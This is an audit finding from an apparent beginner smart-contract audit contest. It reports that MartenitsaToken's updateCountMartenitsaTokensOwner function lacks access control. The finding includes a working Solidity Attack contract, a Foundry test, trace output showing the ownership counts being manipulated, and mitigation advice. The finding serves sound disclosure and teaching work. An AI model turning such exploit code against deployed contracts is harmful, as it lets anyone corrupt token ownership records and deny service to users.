First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary external call to `updateCountMartenitsaTokensOwner` function, causing anyone to increase or decrease the `countMartenitsaTokensOwner` mapping thus manipulating the data.

bluedragon

Description

The function MartenitsaToken::updateCountMartenitsaTokensOwner allows an external caller to arbitrarily increase or decrease the MartenitsaToken::countMartenitsaTokensOwner mapping for a given owner address. This can lead to unintended and potentially malicious modifications of the token ownership count data.

@> function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}

Impact

The arbitrary external call to MartenitsaToken::updateCountMartenitsaTokensOwner function could allow an attacker to manipulate the MartenitsaToken::countMartenitsaTokensOwner mapping, leading to inaccurate tracking of token ownership. The ability to decrease the mapping could also lead to denial of service attacks by reducing the recorded token balances for certain users.

Tools Used

Manual Review

Proof of Concept

  1. First initialize the Attack contract

  2. Call the Attack::attackIncrease function to increase the MartenitsaToken::countMartenitsaTokensOwner mapping for any address.

  3. Call the Attack::attackDecrease function to decrease the MartenitsaToken::countMartenitsaTokensOwner mapping for any address, mainly manipualting the token ownership data of certain users.

Proof Of Code:

function testUpdateCountMartenitsaTokensOwner_CanBeManipulated() public createMartenitsa {
Attack attack = new Attack(address(martenitsaToken));
address attacker;
uint256 count;
attacker = makeAddr("attacker");
// increase the count of martenitsaTokensOwner of non buyer cum non seller
vm.startPrank(attacker);
attack.attackIncrease(msg.sender);
count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
console.log("Count of token ownerShip after arbitrary call on non seller or non buyer: ", count);
vm.stopPrank();
​
count = martenitsaToken.getCountMartenitsaTokensOwner(chasy);
console.log("Count of token ownerShip before arbitrary call: ", count);
​
// decrease the count of martenitsaTokensOwner of seller
vm.startPrank(attacker);
attack.attackDecrease(chasy);
count = martenitsaToken.getCountMartenitsaTokensOwner(chasy);
console.log("Count of token ownerShip after arbitrary call: ", count);
vm.stopPrank();
}

Here is the contract as well

contract Attack {
MartenitsaToken public martenitsaToken;
​
constructor(address _martenitsaToken) {
martenitsaToken = MartenitsaToken(_martenitsaToken);
}
​
function attackIncrease(address user) public {
address(martenitsaToken).call(
abi.encodeWithSignature("updateCountMartenitsaTokensOwner(address,string)", user, "add")
);
}
​
function attackDecrease(address user) public {
address(martenitsaToken).call(
abi.encodeWithSignature("updateCountMartenitsaTokensOwner(address,string)", user, "sub")
);
}
}
Foundry Output
Logs:
Count of token ownerShip after arbitrary call non seller cum non buyers: 1
Count of token ownerShip before arbitrary call: 1
Count of token ownerShip after arbitrary call: 0
​
Traces:
[315270] BugTest::testUpdateCountMartenitsaTokensOwner_CanBeManipulated()
├─ [0] VM::startPrank(chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A])
│ └─ ← [Return]
├─ [119271] MartenitsaToken::createMartenitsa("bracelet")
│ ├─ emit Created(owner: chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A], tokenId: 0, design: 0xc1cbd2c9dfe820e277e3455cc1eae64e59aa0f2ea37665d303cd84c1c94670fd)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A], tokenId: 0)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [132308] → new Attack@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 549 bytes of code
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [24861] Attack::attackIncrease(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38])
│ ├─ [23585] MartenitsaToken::updateCountMartenitsaTokensOwner(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38], "add")
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [627] MartenitsaToken::getCountMartenitsaTokensOwner(DefaultSender: [0x1804c8AB1F12E6bbf3894d4083f33e07309d1f38]) [staticcall]
│ └─ ← [Return] 1
├─ [0] console::log("Count of token ownerShip after arbitrary call non seller cum non buyers: ", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [627] MartenitsaToken::getCountMartenitsaTokensOwner(chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A]) [staticcall]
│ └─ ← [Return] 1
├─ [0] console::log("Count of token ownerShip before arbitrary call: ", 1) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [3386] Attack::attackDecrease(chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A])
│ ├─ [2143] MartenitsaToken::updateCountMartenitsaTokensOwner(chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A], "sub")
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [627] MartenitsaToken::getCountMartenitsaTokensOwner(chasy: [0x4f19A0AcB98b7aA30b0138D26e5E5F9634F32F5A]) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("Count of token ownerShip after arbitrary call: ", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]

Recommended Mitigation

  1. Implement access control to restrict the ability to call the MartenitsaToken::updateCountMartenitsaTokensOwner function to only authorized entities, such as the contract owner or a designated role.

  2. Consider removing the external ability to modify the MartenitsaToken::countMartenitsaTokensOwner mapping directly and instead update the mapping through other functions that perform appropriate validation and authorization checks.

  3. Implement a system of checks and balances, such as requiring two-factor authentication or multi-signature approvals for any changes to the MartenitsaToken::countMartenitsaTokensOwner mapping.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.